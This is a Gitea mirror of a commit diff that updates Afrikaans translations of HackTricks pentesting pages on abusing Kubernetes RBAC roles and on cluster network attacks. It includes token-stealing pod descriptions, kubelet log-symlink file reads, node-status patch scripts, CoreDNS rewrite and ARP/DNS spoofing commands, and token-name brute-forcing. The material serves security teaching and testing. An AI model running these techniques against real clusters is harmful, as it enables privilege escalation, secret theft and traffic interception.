gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-19 10:42:44 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

Browse Source
This commit is contained in:
Translator
2025-04-14 22:08:01 +00:00
parent 91ad055bd0
commit 8584035f03
2 changed files with 138 additions and 47 deletions
Download Patch File Download Diff File Expand all files Collapse all files

121
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
View File

@@ -33,7 +33,7 @@ verbs: ["*"]
In RBAC bied sekere toestemmings beduidende risiko's:
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van privilige-eskalasie inhou.
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat 'n risiko vir privilige-eskalasie inhou.
2. **`list`:** Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.
3. **`get`:** Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou.
```yaml
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Skep - Steel Token
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte na te skaal.
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die bevoegdhede te verhoog.
Voorbeeld van 'n pod wat die token van die `bootstrap-signer` diensrekening sal steel en dit na die aanvaller sal stuur:
```yaml
@@ -77,8 +77,8 @@ hostNetwork: true
Die volgende dui al die voorregte aan wat 'n houer kan hê:
- **Bevoorregte toegang** (deaktiveer beskermings en stel vermoëns in)
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te eskaleer
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te verhoog
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke te verkry
- **Monteer gashere / binne die houer**
```yaml:super_privs.yaml
apiVersion: v1
@@ -196,7 +196,7 @@ Daarom is dit moontlik om **binne 'n pod te kom en die token van die SA te steel
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Standaard word die opdrag in die eerste houer van die pod uitgevoer. Kry **alle die pods in 'n houer** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan **die houer aan** waar jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
> Standaard word die opdrag in die eerste houer van die pod uitgevoer. Kry **alle die pods in 'n houer** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan **die houer** aan waar jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
As dit 'n distroless houer is, kan jy probeer om **shell builtins** te gebruik om inligting van die houers te kry of jou eie gereedskap soos 'n **busybox** op te laai met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
@@ -208,9 +208,9 @@ kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang kan kry tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs <pod>`), dit die **`0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer** blootstel.
Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs <pod>`), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer blootstel**.
Daarom kan 'n aanvaller met **toegang om in die /var/log/ gids** van die houer te skryf, hierdie gedrag op 2 maniere misbruik:
@@ -222,7 +222,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- As die aanvaller enige hoofpersoon met die **regte om `nodes/log` te lees**, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://<gateway>:10250/logs/sym/` sal hy die gashere se wortel** lêer stelsel lys (die verandering van die symlink kan toegang tot lêers bied).
- As die aanvaller enige hoofpersoon met die **regte om `nodes/log` te lees** beheer, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://<gateway>:10250/logs/sym/` sal hy die gashere se wortel** lêersisteem lys (die verandering van die symlink kan toegang tot lêers bied).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,7 +236,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
```
**'n Laboratorium en geoutomatiseerde eksploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Om readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Om die readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer as rw monteer:
```bash
@@ -380,19 +380,78 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Let daarop dat as jy toegelaat word om sekrete in 'n sekere naamruimte te skep en te lees, die slagoffer se diensrekening ook in daardie naamruimte moet wees.
Let daarop dat as jy toegelaat word om sekrete in 'n sekere naamruimte te skep en te lees, die slagoffer diensrekening ook in daardie selfde naamruimte moet wees.
### Lees 'n geheim – brute-forcing token ID's
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys van sekrete**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie sekrete het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n willekeurige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [bronkode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys van sekrete**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie sekrete het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur af te lei, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur te deduseer, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
### Sertifikaatondertekening Versoeke
### EncrpytionConfiguration in duidelike teks
As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **'n nuwe CeSR van 'n **nuwe node** skep.**
Dit is moontlik om duidelike teks sleutels te vind om data in rus in hierdie tipe objek te enkripteer soos:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
Volgens die [dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **nie ekstra toestemmings nodig nie**. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken dat jy moet opdateer in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Sertifikaat Ondertekening Versoeke
As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **create** 'n nuwe CeSR van 'n **nuwe node.**
Volgens die [dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **nie ekstra toestemmings nodig nie**. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken opdatering in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
'n **voorbeeld van 'n rol** met al die vereiste toestemmings is:
```yaml
@@ -427,10 +486,10 @@ verbs:
```
So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes **misbruik** om **geheime** te **steel** en **privileges te verhoog**.
In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met **outomatiese ondertekening** en dit word misbruik om akrediteerbare van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\
In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met **outomatiese ondertekening** en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\
As jy **die genoemde privileges het, kan jy dieselfde ding doen**. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n **node slegs toegang kan hê tot die geheime van houers wat op dit gemonteer is.**
Die manier om dit te omseil, is net om **'n node akrediteerbare te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen):
Die manier om dit te omseil, is net om **'n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
@@ -484,7 +543,7 @@ groups:
### CoreDNS konfigurasie kaart
As jy die regte het om die **`coredns` konfigurasiekaart** in die `kube-system` namespace te wysig, kan jy die adres domeine wat opgelos sal word, aanpas om MitM-aanvalle uit te voer om **sensitiewe inligting te steel of kwaadwillige inhoud in te voeg**.
As jy die regte het om die **`coredns` konfigurasiekaart** in die `kube-system` naamruimte te wysig, kan jy die adres domeine wat opgelos sal word, wysig om MitM-aanvalle uit te voer om **sensitiewe inligting te steel of kwaadwillige inhoud in te voeg**.
Die werkwoorde wat benodig word, is **`update`** en **`patch`** oor die **`coredns`** konfigurasiekaart (of al die konfigurasiekaarte).
@@ -518,7 +577,7 @@ reload
loadbalance
}
```
'n aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` te loop, dit te wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geaccess word, dit eintlik `attacker.com` is wat geaccess gaan word. En dan dit toe te pas deur `kubectl apply -f poison_dns.yaml` te loop.
'n Aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` te loop, dit te wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` toegang verkry word, dit eintlik `attacker.com` is wat toegang verkry gaan word. En dan dit toe te pas deur `kubectl apply -f poison_dns.yaml` te loop.
'n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` te loop en veranderinge aan te bring.
@@ -528,15 +587,15 @@ Daar is **2 maniere om K8s toestemmings aan GCP prinsipes toe te ken**. In enige
> [!WARNING]
> Wanneer daar met die K8s API-eindpunt gepraat word, sal die **GCP-authentikasietoken gestuur word**. Dan sal GCP, deur die K8s API-eindpunt, eers **kontroleer of die prinsipe** (per e-pos) **enige toegang binne die kluster het**, dan sal dit kontroleer of dit **enige toegang via GCP IAM** het.\
> As **enige** van daardie **waar** is, sal hy **geantwoord** word. As **nie** 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, sal gegee word.
> As **enige** van daardie **waar** is, sal daar **geantwoord** word. As **nie** 'n **fout** wat voorstel om **toestemmings via GCP IAM** te gee, sal gegee word.
Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelyke GCP IAM-toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik.
Dan is die eerste metode om **GCP IAM** te gebruik, die K8s toestemmings het hul **gelykwaardige GCP IAM-toestemmings**, en as die prinsipe dit het, sal dit in staat wees om dit te gebruik.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
Die tweede metode is **om K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP-diensrekeninge ingesluit).
Die tweede metode is om **K8s toestemmings binne die kluster toe te ken** deur die gebruiker te identifiseer deur sy **e-pos** (GCP-diensrekeninge ingesluit).
### Skep diensrekeningstoken
@@ -544,7 +603,7 @@ Prinsipes wat **TokenRequests** (`serviceaccounts/token`) kan **skep** wanneer d
### ephemeralcontainers
Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan **kode-uitvoering op ander pods** verkry, en potensieel **uitbreek** na hul node deur 'n ephemeral container met 'n bevoorregte securityContext by te voeg.
Prinsipes wat **`update`** of **`patch`** **`pods/ephemeralcontainers`** kan verkry, kan **kode-uitvoering op ander pods** verkry, en potensieel **uitbreek** na hul node deur 'n ephemeral container met 'n bevoorregte securityContext by te voeg.
### ValidatingWebhookConfigurations of MutatingWebhookConfigurations
@@ -555,11 +614,11 @@ Vir 'n [`mutatingwebhookconfigurations` voorbeeld kyk hierdie afdeling van hierd
### Eskaleer
Soos jy in die volgende afdeling kan lees: [**Ingeboude Bevoorregte Eskalasie Voorkoming**](#built-in-privileged-escalation-prevention), kan 'n prinsipe nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die **werkwoord `escalate` of `*`** oor **`roles`** of **`clusterroles`** en die onderskeie bindingsopsies het.\
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skep.
Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skepp.
### Nodes proxy
### Nodes-proxy
Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode op pods uitvoer** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentikasie op hierdie bladsy:
Prinsipes met toegang tot die **`nodes/proxy`** subbron kan **kode op pods uitvoer** via die Kubelet API (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentisering op hierdie bladsy:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
@@ -569,7 +628,7 @@ Jy het 'n voorbeeld van hoe om [**RCE te verkry deur gemagtig met 'n Kubelet API
### Verwyder pods + ongeskeduleerde nodes
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verwyder** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes verwyder** (`delete` werkwoord oor `nodes` hulpbron) en het beheer oor 'n pod, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
Prinsipes wat **pods kan verwyder** (`delete` werkwoord oor `pods` hulpbron), of **pods kan verplaas** (`create` werkwoord oor `pods/eviction` hulpbron), of **podstatus kan verander** (toegang tot `pods/status`) en kan **ander nodes ongeskeduleer maak** (toegang tot `nodes/status`) of **nodes kan verwyder** (`delete` werkwoord oor `nodes` hulpbron) en het beheer oor 'n pod, kan **pods van ander nodes steel** sodat hulle in die **gekompromitteerde** **node** uitgevoer word en die aanvaller kan **die tokens** van daardie pods **steel**.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -582,7 +641,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### Dienste status (CVE-2020-8554)
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te misbruik en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Beginsels wat **modifiseer** **`services/status`** kan die `status.loadBalancer.ingress.ip` veld stel om die **onopgeloste CVE-2020-8554** te benut en **MiTM-aanvalle teen die kluster** te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens [**hierdie**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Nodes en Pods status
@@ -634,7 +693,7 @@ Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/sec
'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die volharding van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is.
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **injekteer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en meer gewoonlik in die kluster volhard.
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **inspuit**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel privesc moontlik maak, en meer gewoonlik in die kluster volhard.
**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -691,7 +750,7 @@ Die bogenoemde snit vervang die eerste houerbeeld in elke pod met `rewanthtamman
### **Beperkte Gebruikerstoewysing in RoleBindings/ClusterRoleBindings**
- **Selektiewe Insluiting**: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder irrelevante gebruikers om strenger sekuriteit te handhaaf.
- **Selektiewe Insluiting**: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder onbelangrike gebruikers om strenger sekuriteit te handhaaf.
### **Namespace-Spesifieke Rolle Bo Cluster-Wye Rolle**

64
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
View File

@@ -4,16 +4,16 @@
## Inleiding
In Kubernetes word waargeneem dat 'n standaardgedrag die totstandkoming van verbindings tussen **alle houers wat op dieselfde node woon** toelaat. Dit geld ongeag die naamruimte verskille. So 'n verbindbaarheid strek af na **Laag 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek maak dit die moontlikheid oop vir 'n **kwaadwillige houer** om 'n **ARP spoofing aanval** teen ander houers wat op dieselfde node geleë is, uit te voer. Tydens so 'n aanval kan die kwaadwillige houer bedrogstig die netwerkverkeer wat bedoel is vir ander houers onderskep of wysig.
In Kubernetes word waargeneem dat 'n standaardgedrag die totstandkoming van verbindings tussen **alle houers wat op dieselfde node woon** toelaat. Dit geld ongeag die naamruimte verskille. So 'n verbinding strek af na **Laag 2** (Ethernet). Gevolglik stel hierdie konfigurasie die stelsel potensieel bloot aan kwesbaarhede. Spesifiek maak dit die moontlikheid oop vir 'n **kwaadwillige houer** om 'n **ARP spoofing-aanval** teen ander houers wat op dieselfde node geleë is, uit te voer. Tydens so 'n aanval kan die kwaadwillige houer bedrogstig die netwerkverkeer wat bedoel is vir ander houers onderskep of verander.
ARP spoofing aanvalle behels die **aanvaller wat vervalste ARP** (Address Resolution Protocol) boodskappe oor 'n plaaslike area netwerk stuur. Dit lei tot die koppel van die **aanvaller se MAC adres met die IP adres van 'n wettige rekenaar of bediener op die netwerk**. Na suksesvolle uitvoering van so 'n aanval kan die aanvaller data in-transit onderskep, wysig of selfs stop. Die aanval word op Laag 2 van die OSI-model uitgevoer, wat die rede is waarom die standaard verbindbaarheid in Kubernetes op hierdie laag sekuriteitskwessies laat ontstaan.
ARP spoofing-aanvalle behels die **aanvaller wat vervalste ARP** (Address Resolution Protocol) boodskappe oor 'n plaaslike area netwerk stuur. Dit lei tot die koppel van die **aanvaller se MAC-adres met die IP-adres van 'n wettige rekenaar of bediener op die netwerk**. Na suksesvolle uitvoering van so 'n aanval kan die aanvaller data in-transit onderskep, verander of selfs stop. Die aanval word op Laag 2 van die OSI-model uitgevoer, wat die rede is waarom die standaardverbinding in Kubernetes op hierdie laag sekuriteitskwessies laat ontstaan.
In die scenario gaan 4 masjiene geskep word:
- ubuntu-pe: Bevoorregte masjien om na die node te ontsnap en metrieks te kontroleer (nie nodig vir die aanval nie)
- **ubuntu-attack**: **Kwaadwillige** houer in standaard naamruimte
- **ubuntu-attack**: **Kwaadwillige** houer in die standaard naamruimte
- **ubuntu-victim**: **Slachtoffer** masjien in kube-system naamruimte
- **mysql**: **Slachtoffer** masjien in standaard naamruimte
- **mysql**: **Slachtoffer** masjien in die standaard naamruimte
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -98,7 +98,7 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## Basiese Kubernetes Netwerk
As jy meer besonderhede wil hê oor die netwerkonderwerpe wat hier bekendgestel word, gaan na die verwysings.
As jy meer besonderhede oor die netwerkonderwerpe wat hier bekendgestel is, wil hê, gaan na die verwysings.
### ARP
@@ -138,7 +138,7 @@ Endpoints: 172.17.0.2:9153
```
In die vorige inligting kan jy iets interessant sien, die **IP van die diens** is **10.96.0.10** maar die **IP van die pod** wat die diens uitvoer is **172.17.0.2.**
As jy die DNS adres binne enige pod nagaan, sal jy iets soos hierdie vind:
As jy die DNS-adres binne enige pod nagaan, sal jy iets soos hierdie vind:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
@@ -150,9 +150,9 @@ Therefore, the pod will send the **DNS requests to the address 10.96.0.10** whic
> [!WARNING]
> This means that a **DNS request** of a pod is **altyd** going to go the **bridge** to **vertaal** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
>
> Knowing this, and knowing **ARP-aanvalle is moontlik**, a **pod** in a node is going to be able to **afluister die verkeer** tussen **elke pod** in die **subnetwerk** en die **bridge** en **wysig** die **DNS antwoorde** van die DNS server (**DNS Spoofing**).
> Knowing this, and knowing **ARP-aanvalle is moontlik**, a **pod** in a node is going to be able to **af te luister die verkeer** tussen **elke pod** in die **subnetwerk** en die **bridge** en **wysig** die **DNS antwoorde** van die DNS server (**DNS Spoofing**).
>
> Moreover, if the **DNS server** is in the **selfde node as the aanvaller**, the attacker can **afluister al die DNS versoek** van enige pod in die cluster (tussen die DNS server en die bridge) and modify the responses.
> Moreover, if the **DNS server** is in the **dieselfde node as the attacker**, the attacker can **af te luister al die DNS versoek** van enige pod in die cluster (tussen die DNS server en die bridge) en die antwoorde wysig.
## ARP Spoofing in pods in the same Node
@@ -233,11 +233,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Soos reeds genoem, as jy **'n pod in dieselfde node van die DNS bediener pod kompromitteer**, kan jy **MitM** met **ARPSpoofing** die **brug en die DNS** pod en **alle DNS antwoorde** verander.
Soos reeds genoem, as jy **'n pod in dieselfde node van die DNS bediener pod kompromitteer**, kan jy **MitM** met **ARPSpoofing** die **brug en die DNS** pod en **alle DNS-antwoorde** **wysig**.
Jy het 'n regtig goeie **instrument** en **handleiding** om dit te toets in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Jy het 'n regte goeie **instrument** en **handleiding** om dit te toets in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In ons scenario, **aflaai** die **instrument** in die aanvaller pod en skep 'n \*\*lêer genaamd `hosts` \*\* met die **domeine** wat jy wil **spoof** soos:
In ons scenario, **aflaai** die **instrument** in die aanvaller pod en skep 'n **lêer genaamd `hosts`** met die **domeine** wat jy wil **spoof** soos:
```
cat hosts
google.com. 1.1.1.1
@@ -260,15 +260,47 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> As jy probeer om jou eie DNS spoofing script te skep, as jy **net die DNS antwoord** **wysig**, gaan dit **nie** **werk** nie, omdat die **antwoord** 'n **src IP** gaan hê van die IP adres van die **kwaadwillige** **pod** en **nie** **aanvaar** gaan word.\
> As jy probeer om jou eie DNS spoofing skrip te skep, as jy **net die DNS antwoord** aanpas, gaan dit **nie** **werk** nie, omdat die **antwoord** 'n **src IP** gaan hê van die **kwaadwillige** **pod** en **nie** aanvaar gaan word nie.\
> Jy moet 'n **nuwe DNS pakket** genereer met die **src IP** van die **DNS** waar die slagoffer die DNS versoek stuur (wat iets soos 172.16.0.2 is, nie 10.96.0.10 nie, dit is die K8s DNS diens IP en nie die DNS bediener IP nie, meer oor dit in die inleiding).
## Capturing Traffic
## DNS Spoofing via coreDNS configmap
Die hulpmiddel [**Mizu**](https://github.com/up9inc/mizu) is 'n eenvoudige maar kragtige API **verkeer kyker vir Kubernetes** wat jou in staat stel om **alle API kommunikasie** tussen mikrodiens te **bekyk** om jou te help om regressies te ontfout en op te los.\
Dit sal agente in die geselekteerde pods installeer en hul verkeersinligting versamel en dit aan jou in 'n webbediener wys. Jy sal egter hoë K8s toestemmings nodig hê hiervoor (en dit is nie baie stil nie).
'n Gebruiker met skryfregte oor die configmap `coredns` in die kube-system naamruimte kan die DNS antwoorde van die kluster aanpas.
## References
Kyk meer inligting oor hierdie aanval in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## Misbruik van blootgestelde kubernetes bestuurdienste
Dienste soos Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, en die Kubernetes dashboard is dikwels blootgestel aan die internet of binne die kubernetes netwerk. 'n Aanvaller wat daarin slaag om **enige platform te vind wat gebruik word om kubernetes te bestuur en toegang te verkry** kan dit misbruik om toegang tot die kubernetes API te verkry en aksies uit te voer soos om nuwe pods te skep, bestaande te wysig, of selfs te verwyder.
## Opname van kubernetes netwerkbeleide
Kry geconfigureerde **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Kry **Callico** netwerkbeleide:
